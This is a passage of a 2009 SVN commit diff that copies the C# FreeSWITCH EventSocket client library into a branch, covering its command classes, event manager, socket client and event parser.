+            _uuid = uuid;
+            _path = path;
+            _limit = limit;
+        }
+
+        /// <param name="uuid">channel id</param>
+        /// <param name="path">FS relative path to sound file</param>
+        /// <param name="stop">stop the recording if true</param>
+        public RecordCmd(string uuid, string path, bool stop) : this(uuid, path)
+        {
+            _start = !stop;
+        }
+
+        /// <summary>
+        /// 
+        /// </summary>
+        /// <param name="uuid">channel id</param>
+        /// <param name="path">FS relative path to sound file</param>
+        /// <param name="stop">stop the recording if true</param>
+        /// <param name="limit">number of seconds that maximum can be recorded.</param>
+        public RecordCmd(string uuid, string path, bool stop, int limit)
+            : this(uuid, path, limit)
+        {
+            _start = !stop;
+        }
+
+        public override string Command
+        {
+            get { return "uuid_record"; }
+        }
+
+        public override string Arguments
+        {
+            get { return _uuid + (_start ? "start" : "stop") + " " + _path + " " + _limit; }
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SendEventCmd.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SendEventCmd.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SendEventCmd.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SendEventCmd.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SendEventCmd.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,31 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace FreeSwitch.EventSocket.Commands
+{
+    public class SendEventCmd : CmdBase
+    {
+        private EventBase _event;
+
+        /// <summary>
+        /// 
+        /// </summary>
+        /// <param name="evt">Note that all events have NOT being developed to be sent, only to be received.</param>
+        public SendEventCmd(EventBase evt)
+    {
+            _event = evt;
+    }
+
+
+        public override string Command
+        {
+            get { return "sendevent " + _event.Name + "\n"; }
+        }
+
+        public override string Arguments
+        {
+            get { return _event.ToString(); }
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SendMsg.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SendMsg.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SendMsg.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SendMsg.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SendMsg.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,35 @@
+using System;
+
+namespace FreeSwitch.EventSocket.Commands
+{
+    public abstract class SendMsg : CmdBase
+    {
+        private readonly string _uuid;
+        private readonly string _callCommand = "execute";
+
+        public SendMsg(string uuid)
+        {
+            if (string.IsNullOrEmpty(uuid))
+                throw new ArgumentNullException("uuid");
+            _uuid = uuid;
+        }
+
+        public SendMsg(string uuid, string callCommand)
+        {
+            if (string.IsNullOrEmpty(uuid))
+                throw new ArgumentNullException("uuid");
+            if (string.IsNullOrEmpty(callCommand))
+                throw new ArgumentNullException("callCommand");
+
+            _callCommand = callCommand;
+            _uuid = uuid;
+        }
+
+        public override string ToString()
+        {
+            return
+                string.Format("SendMsg {0}\ncall-command: {1}\nexecute-app-name: {2}\nexecute-app-arg: {3}\n", _uuid,
+                              _callCommand, Command, Arguments);
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SetVariable.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SetVariable.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SetVariable.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SetVariable.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SetVariable.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,54 @@
+namespace FreeSwitch.EventSocket.Commands
+{
+    public class SetVariable : Api
+    {
+        private readonly string _channelId;
+        private readonly string _name;
+        private readonly string _value;
+
+        public SetVariable()
+        {
+            
+        }
+
+        public SetVariable(string uuid, string name, string value)
+        {
+            _channelId = uuid;
+            _name = name;
+            _value = value;
+        }
+
+        public override string Command
+        {
+            get { return "uuid_setvar"; }
+        }
+
+        public override string Arguments
+        {
+            get { return _channelId + " " + Name + " " + Value; }
+        }
+
+        public string Name
+        {
+            get { return _name; }
+        }
+
+        public string Value
+        {
+            get { return _value; }
+        }
+
+        public override CommandReply CreateReply(string dataToParse)
+        {
+            if (dataToParse == "OK")
+                return new CommandReply(true);
+            else
+            {
+                CommandReply reply = new CommandReply(false);
+                reply.ErrorMessage = dataToParse;
+                return reply;
+            }
+        }
+
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SleepCmd.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SleepCmd.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SleepCmd.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SleepCmd.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/SleepCmd.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+namespace FreeSwitch.EventSocket.Commands
+{
+    public class SleepCmd : SendMsg
+    {
+        private readonly int _ms;
+
+        public SleepCmd(string uuid, int ms) : base(uuid)
+        {
+            _ms = ms;
+        }
+
+        public override string Command
+        {
+            get { return "sleep"; }
+        }
+
+        public override string Arguments
+        {
+            get { return _ms.ToString(); }
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/TransferCmd.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/TransferCmd.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/TransferCmd.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/TransferCmd.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Commands/TransferCmd.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,36 @@
+namespace FreeSwitch.EventSocket.Commands
+{
+    public class TransferCmd : PbxCommand
+    {
+        private readonly string _sessionId;
+        private readonly string _destination;
+
+        /// <summary>
+        /// Transfer a call to somewhere.
+        /// </summary>
+        /// <param name="sessionId"></param>
+        /// <param name="destination"></param>
+        public TransferCmd(string sessionId, string destination)
+        {
+            _sessionId = sessionId;
+            _destination = destination;
+        }
+
+        public override PbxCommandReply CreateReply(string dataToParse)
+        {
+            if (dataToParse == "OK")
+                return new PbxCommandReply(true);
+            else
+            {
+                PbxCommandReply reply = new PbxCommandReply(false);
+                reply.ErrCode = dataToParse;
+                return reply;
+            }
+        }
+
+        public override string ToString()
+        {
+            return "transfer " + _sessionId + " " + _destination;
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/EventManager.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/EventManager.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/EventManager.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/EventManager.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/EventManager.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,154 @@
+using System;
+using System.Collections.Specialized;
+using System.IO;
+using FreeSwitch.EventSocket.Commands;
+
+namespace FreeSwitch.EventSocket
+{
+    /// <summary>
+    /// Delegate used to receive a parsed event.
+    /// </summary>
+    /// <param name="receivedEvent">the event.</param>
+    public delegate void EventHandler(EventBase receivedEvent);
+
+    /// <summary>
+    /// Delegate used to receive unparsed event messages
+    /// </summary>
+    /// <param name="text">text received from FreeSWITCH.</param>
+    public delegate void EventsWriter(string text);
+
+    /// <summary>
+    /// Takes care of the event socket and parses the incoming events.
+    /// </summary>
+    public class EventManager
+    {
+        private readonly EventSocket _socket;
+        /// <summary>
+        /// An event have been received from freeswitch.
+        /// </summary>
+        public event EventHandler EventReceived = delegate{};
+        private readonly EventsWriter _writer;
+        private readonly object _logLocker = new object();
+        private readonly LogWriterHandler _logWriter;
+
+        /// <summary>
+        /// FreeSWITCH password, default is "ClueCon".
+        /// </summary>
+        public string Password
+        {
+            set { _socket.Password = value; }
+        }
+
+        /// <summary>
+        /// Initializes a new instance of the <see cref="EventManager"/> class.
+        /// </summary>
+        /// <param name="logWriter">Can be used for logging.</param>
+        public EventManager(LogWriterHandler logWriter)
+        {
+            _logWriter = logWriter ?? NullWriter.Write;
+            _socket = new EventSocket(_logWriter);
+            _writer = VoidWriter;
+        }
+
+        private static void VoidWriter(string text)
+        {
+        }
+
+        /// <summary>
+        /// Initializes a new instance of the <see cref="EventManager"/> class.
+        /// </summary>
+        /// <param name="logWriter">Used to receive loggings.</param>
+        /// <param name="writer">Used to receive unparsed event messages.</param>
+        public EventManager(LogWriterHandler logWriter, EventsWriter writer)
+        {
+            _logWriter = logWriter ?? NullWriter.Write;
+            _socket = new EventSocket(_logWriter);
+            _writer = writer;
+        }
+
+        /// <summary>
+        /// Starts event manger and connect to freeswitch.
+        /// </summary>
+        /// <param name="hostname">hostname/ipaddress colon port</param>
+        public void Start(string hostname)
+        {
+            _socket.MessageReceived += OnMessage;
+            _socket.DataReceived += OnData;
+            _socket.Connect(hostname);
+        }
+
+        private void OnData(string data)
+        {
+            lock (_logLocker)
+                _writer(data);
+        }
+
+        /// <summary>
+        /// Send a command to the server.
+        /// </summary>
+        /// <param name="cmd"></param>
+        /// <exception cref="IOException">If socket is not connected</exception>
+        /// <exception cref="InvalidOperationException"></exception>
+        /// <exception cref="ObjectDisposedException"></exception>
+        public void Send(CmdBase cmd)
+        {
+            _socket.Send(cmd);
+        }
+
+        /// <summary>
+        /// Sends the SendMsg command to FreeSWITCH
+        /// </summary>
+        /// <param name="cmd">The CMD.</param>
+        public void Send(SendMsg cmd)
+        {
+            _socket.Send(cmd);
+        }
+
+        protected void OnMessage(PlainEventMsg msg)
+        {
+            NameValueCollection parameters = msg.ParseBody(true);
+            string eventName = parameters["event-name"];
+            if (eventName == null)
+                return;
+
+            eventName = string.Compare(parameters["event-name"], "custom", true) == 0
+                            ? parameters["event-subclass"]
+                            : parameters["event-name"];
+
+            //Quickhack for Sofia::Register (convert to sofia_register)
+            eventName = eventName.Replace("::", "_");
+            eventName = StringHelper.UpperCaseToCamelCase(eventName);
+
+            // Try to load the event (check if we've created an event class for the registered event)
+            EventBase eb = EventBase.CreateEvent(eventName);
+
+            // Yep, we got an event class. Let it parse the event information
+            if (eb != null)
+            {
+                eb.SetParameters(parameters);
+                eb.Parse(parameters);
+                EventReceived(eb);
+            }
+            else
+                _logWriter(LogPrio.Warning, "Failed to load '" + eventName + "'.");
+        }
+
+        /// <summary>
+        /// Subscribes the specified events.
+        /// </summary>
+        /// <param name="events">The events.</param>
+        public void Subscribe(Events events)
+        {
+            _socket.Subscribe(events);
+        }
+
+        /// <summary>
+        /// Subscribes the specified events.
+        /// </summary>
+        /// <param name="events">The events.</param>
+        public void Subscribe(params Event[] events)
+        {
+            _socket.Subscribe(new Events(events));
+        }
+    }
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/EventParser.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/EventParser.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/EventParser.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/EventParser.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/EventParser.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,185 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Text;
+
+namespace FreeSwitch.EventSocket
+{
+    public class EventParser
+    {
+        private static readonly char[] BugWorkaround = {'C', 'o', 'n', 't', 'e', 'n', 't', '-'};
+        private readonly StringBuilder _text = new StringBuilder();
+        private readonly Queue<string> _piecesToAppend = new Queue<string>();
+
+        public string Text
+        {
+            get { return _text.ToString(); }
+        }
+
+        internal static void ParseHeaders(PlainEventMsg msg, string header)
+        {
+            StringParser parser = new StringParser(header);
+            string name = parser.Read(':', true);
+            while (name != string.Empty)
+            {
+                switch (name)
+                {
+                    case "Content-Length":
+                        msg.ContentLength = int.Parse(parser.ReadLine(true));
+                        break;
+                    case "Content-Type":
+                        msg.ContentType = parser.ReadLine(true);
+                        break;
+                    case "Reply-Text":
+                        msg.Body = parser.ReadLine(true);
+                        break;
+                }
+
+                // empty line == end of header
+                if (parser.EOL)
+                    break;
+
+                name = parser.Read(':', true);
+            }
+        }
+        /*
+        private int IsLineBreaks(int pos)
+        {
+            if (pos > 0 && Text[pos] == '\n' && Text[pos - 1] == '\n')
+                return 1;
+            if (pos > 3 && Text[pos] == '\n' && Text[pos - 1] == '\r'
+                && Text[pos - 2] == '\n' && Text[pos - 3] == '\r')
+                return 3;
+            return 0;
+        }
+        */
+        public void Clear()
+        {
+            lock (Text)
+                _text.Length = 0;
+        }
+
+        private void IgnoreLineBreaks(ref int i)
+        {
+            while (i < _text.Length && (_text[i] == '\n' || _text[i] == '\r'))
+                ++i;
+        }
+
+        /// <summary>
+        /// 
+        /// </summary>
+        /// <returns></returns>
+        /// <exception cref="InvalidDataException">If parsing failed due to invalid format.</exception>
+        public PlainEventMsg ParseOne()
+        {
+            // Move queue to text
+            lock (_piecesToAppend)
+            {
+                while (_piecesToAppend.Count > 0)
+                _text.Append(_piecesToAppend.Dequeue());
+            }
+
+            PlainEventMsg plainEvent;
+            lock (_text)
+            {
+                int i = 0;
+
+                // find complete header
+                bool found = false;
+                for (; i < _text.Length - 1; ++i)
+                {
+                    if (_text[i] == '\n' && _text[i + 1] == '\n')
+                    {
+                        found = true;
+                        break;
+                    }
+                }
+                if (!found)
+                    return null;
+
+                // extract header
+                char[] chars = new char[i];
+                _text.CopyTo(0, chars, 0, i);
+                string headers = new string(chars);
+                IgnoreLineBreaks(ref i);
+
+                plainEvent = new PlainEventMsg();
+                ParseHeaders(plainEvent, headers);
+
+                // we got a body?
+                if (plainEvent.ContentLength > 0)
+                {
+                    // Start of Empty header bugfix
+                    // FS seems to send a header with content-length without sending an actual body
+                    // this will eat that kind of header.
+                    if (_text.Length >= BugWorkaround.Length + i)
+                    {
+                        found = true;
+                        for (int index = 0; index < BugWorkaround.Length; ++index)
+                        {
+                            if (_text[index + i] != BugWorkaround[index])
+                            {
+                                found = false;
+                                break;
+                            }
+                        }
+                        if (found)
+                        {
+                            _text.Remove(0, i);
+                            Console.WriteLine("Removing empty content header.");
+                            return null;
+                        }
+                    }
+                    // end of bugfix.
+
+                    // not enough data for body.
+                    if (plainEvent.ContentLength + i > _text.Length)
+                        return null;
+
+                    // extract body
+                    chars = new char[plainEvent.ContentLength];
+                    _text.CopyTo(i, chars, 0, plainEvent.ContentLength);
+                    plainEvent.Body = new string(chars);
+
+                    // api/response is buggy for originate, no \n\n are appended at the end.
+                    if (plainEvent.ContentType != "api/response")
+                    {
+                        // check for errors.
+                        int pos = plainEvent.Body.IndexOf("\n\n");
+                        if (pos < plainEvent.Body.Length - 2)
+                        {
+                            Console.WriteLine("Invalid event");
+                            Console.WriteLine("Header");
+                            Console.WriteLine(headers);
+                            Console.WriteLine("Body");
+                            Console.WriteLine(plainEvent.Body);
+                            Console.WriteLine("=========================== EVERYTHING unparsed ==============================");
+                            Console.WriteLine(_text);
+                            throw new InvalidDataException("Invalid event: " + _text);
+                        }
+                    }
+
+                    if (plainEvent.Body.Length < plainEvent.ContentLength)
+                        throw new InvalidDataException("Body contents are too small!");
+
+                    // Move forward to next header
+                    i += plainEvent.ContentLength;
+                    IgnoreLineBreaks(ref i);
+                }
+
+
+                // remove header( + body) from buffer
+                _text.Remove(0, i);
+            }
+
+            return plainEvent;
+        }
+
+
+        public void Append(string text)
+        {
+            lock (_piecesToAppend)
+                _piecesToAppend.Enqueue(text);
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/EventSocket.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/EventSocket.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/EventSocket.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/EventSocket.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/EventSocket.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,379 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Net.Sockets;
+using System.Text;
+using System.Threading;
+using FreeSwitch.EventSocket.Commands;
+
+namespace FreeSwitch.EventSocket
+{
+    public delegate void MessageHandler(PlainEventMsg msg);
+
+    public class EventSocket
+    {
+        #region Delegates
+
+        public delegate void EventSocketHandler(EventSocket client);
+
+        public delegate void DataHandler(string data);
+
+        #endregion
+
+        private LogWriterHandler _logWriter;
+        private readonly Queue<CmdBase> _commands = new Queue<CmdBase>();
+        private bool _autoConnect = true;
+        private Events _events;
+        private string _hostName;
+        private readonly EventParser _parser = new EventParser();
+        public event DataHandler DataReceived;
+        private string _password = "ClueCon";
+        private int _port = 8021;
+        private readonly object _lockobj = new object();
+        private readonly byte[] _readBuffer = new byte[8192];
+        private Socket _socket;
+        private NetworkStream _stream;
+        private Timer _timer;
+        private bool _authed;
+        const int RetryTimeout = 5000;
+        private bool _parsing;
+
+        /// <summary>
+        /// Initializes a new instance of the <see cref="EventSocket"/> class.
+        /// </summary>
+        /// <param name="logWriter">The log writer.</param>
+        public EventSocket(LogWriterHandler logWriter)
+        {
+            LogWriter = logWriter ?? NullWriter.Write;
+            CreateSocket();
+        }
+
+        private void CreateSocket()
+        {
+            _socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
+            _socket.NoDelay = true;
+            _socket.ReceiveBufferSize = 65535;
+        }
+
+        /// <summary>
+        /// Used to authenticate towards FreeSWITCH.
+        /// </summary>
+        /// <remarks>
+        /// Default is "ClueCon"
+        /// </remarks>
+        public string Password
+        {
+            get { return _password; }
+            set { _password = value; }
+        }
+
+        /// <summary>
+        /// Connect automatically again if socket is disconnected.
+        /// </summary>
+        public bool AutoConnect
+        {
+            get { return _autoConnect; }
+            set { _autoConnect = value; }
+        }
+
+        public LogWriterHandler LogWriter
+        {
+            get { return _logWriter; }
+            set { _logWriter = value ?? NullWriter.Write; }
+        }
+
+        /// <summary>
+        /// A event have been received
+        /// </summary>
+        public event MessageHandler MessageReceived = delegate{};
+
+        /// <summary>
+        /// Socket got disconnected (due to remote peer)
+        /// </summary>
+        public event EventSocketHandler Disconnected = delegate{};
+
+        /// <summary>
+        /// Socket is now connected
+        /// </summary>
+        public event EventSocketHandler Connected = delegate{};
+
+        /// <summary>
+        /// Connect to FreeSWITCH
+        /// </summary>
+        /// <param name="server">hostname/ipaddress colon port</param>
+        /// <example>
+        /// <code>eventSocket.Connect("localhost:1234");</code>
+        /// </example>
+        public void Connect(string server)
+        {
+            int pos = server.IndexOf(':');
+            if (pos == -1)
+                _hostName = server;
+            else
+            {
+                _port = int.Parse(server.Substring(pos + 1));
+                _hostName = server.Substring(0, pos);
+            }
+
+            Connect();
+        }
+
+        /// <summary>
+        /// Connect to the previously specified host.
+        /// </summary>
+        public void Connect()
+        {
+            if (_hostName == null)
+                throw new InvalidOperationException("Must call the other Connect method first to set hostname/port.");
+
+            try
+            {
+                TryConnect();
+                LogWriter(LogPrio.Debug, "Connected to freeswitch.");
+            }
+            catch (SocketException err)
+            {
+                LogWriter(LogPrio.Debug, "Failed to connect to freeswitch, reason: " + err.Message);
+                HandleDisconnect();
+            }
+        }
+
+        private void TryConnect()
+        {
+            lock (_lockobj)
+            {
+                _socket.Connect(_hostName, _port);
+                if (_stream == null)
+                    _stream = new NetworkStream(_socket, false);
+
+                Connected(this);
+                BeginRead();
+
+                if (_timer == null) return;
+                Timer tmr = _timer;
+                _timer = null;
+                tmr.Change(Timeout.Infinite, Timeout.Infinite);
+                tmr.Dispose();
+            }
+        }
+
+        private void BeginRead()
+        {
+            _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, OnReadCompleted, null);
+        }
+
+        private void OnReadCompleted(IAsyncResult ar)
+        {
+            string inbuffer;
+            try
+            {
+                if (_stream == null)
+                    return; // closed socket.
+
+                int bytesRead = _stream.EndRead(ar);
+                if (bytesRead == 0)
+                {
+                    LogWriter(LogPrio.Error, "Got disconnected (0 bytes read).");
+                    HandleDisconnect();
+                    return;
+                }
+                inbuffer = Encoding.ASCII.GetString(_readBuffer, 0, bytesRead);
+                _parser.Append(inbuffer);
+                BeginRead();
+            }
+            catch (IOException err)
+            {
+                LogWriter(LogPrio.Debug, "IO exception during read: " + err.Message);
+                // Remote end disconnected.
+                HandleDisconnect();
+                return;
+            }
+
+            if (!string.IsNullOrEmpty(inbuffer))
+                DataReceived(inbuffer);
+
+            try
+            {
+                ParseMessages();
+            }
+            catch (InvalidDataException err)
+            {
+                LogWriter(LogPrio.Warning,
+                          "Failed to parse event message." + Environment.NewLine + "Exception: " + err +
+                          Environment.NewLine + _parser.Text);
+                HandleDisconnect();
+            }
+            catch (ArgumentException err)
+            {
+                LogWriter(LogPrio.Warning,
+                          "Failed to parse event message." + Environment.NewLine + "Exception: " + err +
+                          Environment.NewLine + _parser.Text);
+                HandleDisconnect();
+            }
+        }
+
+        /// <summary>
+        /// Subscribe on the specified events.
+        /// </summary>
+        /// <param name="events">The events.</param>
+        public void Subscribe(Events events)
+        {
+            _events = events;
+            if (_socket.Connected && _authed)
+                RequestEvents();
+        }
+
+        /// <summary>
+        /// 
+        /// </summary>
+        /// <param name="s"></param>
+        /// <exception cref="InvalidOperationException"></exception>
+        /// <exception cref="ObjectDisposedException"></exception>
+        private void Write(string s)
+        {
+            if (_socket == null)
+                return;
+            if (!_socket.Connected)
+            {
+                try
+                {
+                    TryConnect();
+                    LogWriter(LogPrio.Info, "We've connected again");
+                }
+                catch (SocketException)
+                {
+                    return;
+                }
+            }
+
+            byte[] bytes = Encoding.ASCII.GetBytes(s);
+            _stream.Write(bytes, 0, bytes.Length);
+        }
+
+        static readonly object locker = new object();
+        private void ParseMessages()
+        {
+            
+            lock (locker)
+            {
+                if (_parsing)
+                    return;
+                _parsing = true;
+            }
+
+            try
+            {
+                PlainEventMsg msg = _parser.ParseOne();
+                while (msg != null)
+                {
+					LogWriter(LogPrio.Trace, "MessageType: " + msg.ContentType);
+					switch (msg.ContentType)
+                    {
+                        case "auth/request":
+                            {
+                                AuthCommand cmd = new AuthCommand(_password);
+                                cmd.ReplyReceived += OnAuthed;
+                                _commands.Enqueue(cmd);
+                                Write(cmd + "\n\n");
+                            }
+                            break;
+                        case "api/response":
+                        case "command/reply":
+                            if (_commands.Count > 0)
+                            {
+                                CmdBase cmd = _commands.Dequeue();
+                                cmd.HandleReply(cmd.CreateReply(msg.Body.Trim()));
+                            }
+                            else
+                                LogWriter(LogPrio.Debug, "Got command reply or api response, but no actual command/api: " + msg.Body);
+                            break;
+                        default:
+                            MessageReceived(msg);
+                            break;
+                    }
+                    msg = _parser.ParseOne();
+                }
+            }
+            finally
+            {
+                lock (locker)
+                    _parsing = false;
+            }
+        }
+
+        private void OnAuthed(CmdBase command, CommandReply reply)
+        {
+            LogWriter(LogPrio.Trace, "We have not authenticated.");
+            _authed = true;
+            RequestEvents();
+        }
+
+        private void HandleDisconnect()
+        {
+            _parser.Clear();
+            _authed = false;
+            _socket.Close();
+            CreateSocket();
+            if (_stream != null)
+            {
+                _stream.Dispose();
+                _stream = null;
+            }
+
+            Disconnected(this);
+            if (!AutoConnect || _timer != null) return;
+            LogWriter(LogPrio.Info, "Launching autoconnect timer.");
+            _timer = new Timer(TryConnect, this, RetryTimeout, RetryTimeout);
+        }
+
+        private void RequestEvents()
+        {
+            if (_events.Count <= 0 && _authed)
+                return;
+
+            Write("event plain " + GetEventString() + "\n\n");
+        }
+
+        private string GetEventString()
+        {
+            string events = string.Empty;
+            for (int i = 0; i < _events.Count; ++i)
+                events += StringHelper.CamelCaseToUpperCase(_events[i].ToString()) + " ";
+            return events;
+        }
+
+        /// <summary>
+        /// Send a command to FreeSwitch.
+        /// Do you want a response? Then use the delegate in the Command class.
+        /// </summary>
+        /// <param name="command">Command to send.</param>
+        /// <exception cref="IOException">If socket is not connected.</exception>
+        /// <exception cref="InvalidOperationException"></exception>
+        /// <exception cref="ObjectDisposedException"></exception>
+        public void Send(CmdBase command)
+        {
+            if (!_socket.Connected)
+            {
+                LogWriter(LogPrio.Debug, "Tried to send command when we are not connected: " + command);
+                throw new IOException("Socket is not connected.");
+            }
+
+            _commands.Enqueue(command);
+
+            // All commands need replies.
+            Write(command + "\n\n");
+        }
+
+        private void TryConnect(object state)
+        {
+            EventSocket client = (EventSocket) state;
+            try
+            {
+                client.TryConnect();
+                LogWriter(LogPrio.Info, "Connected again.");
+            }
+            catch (SocketException)
+            {}
+        }
+    }
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/EventSocket.pfx

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/EventSocket.pfx (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/EventSocket.pfx)


(Binary files differ)

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events)

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventApiCommand.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventApiCommand.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventApiCommand.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventApiCommand.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventApiCommand.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,25 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace FreeSwitch.EventSocket
+{
+    class EventApiCommand : EventBase
+    {
+        private string m_command;
+
+        public override bool ParseCommand(string name, string value)
+        {
+            switch (name)
+            {
+                case "api-command":
+                    m_command = value;
+                    break;
+                default:
+                    return base.ParseCommand(name, value);
+            }
+
+            return true;
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventBase.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventBase.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventBase.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventBase.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventBase.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,164 @@
+using System;
+using System.Collections.Specialized;
+
+namespace FreeSwitch.EventSocket
+{
+    public class EventBase
+    {
+        private string m_callingFile;
+        private string m_callingFunction;
+        private int m_callingLineNumber;
+        private string m_coreId;
+        private DateTime m_dateGMT;
+        private DateTime m_dateLocal;
+        private string m_name;
+        private readonly NameValueCollection _parameters = new NameValueCollection();
+        private NameValueCollection _allParameters;
+
+        #region Properties
+
+        public string Name
+        {
+            get
+            {
+                lock (this)
+                {
+                    if (string.IsNullOrEmpty(m_name))
+                    {
+                        string name = GetType().Name.Substring(5); //remove (Event)
+                        m_name = string.Empty;
+                        m_name += char.ToUpper(name[0]);
+                        for (int i = 1; i < name.Length; ++i)
+                        {
+                            if (char.IsUpper(name[i]))
+                                m_name += '_';
+                            else
+                                m_name += char.ToUpper(name[i]);
+                        }
+                    }
+                }
+
+                return m_name;
+            }
+            set { m_name = value; }
+        }
+
+        public string CoreId
+        {
+            get { return m_coreId; }
+            set { m_coreId = value; }
+        }
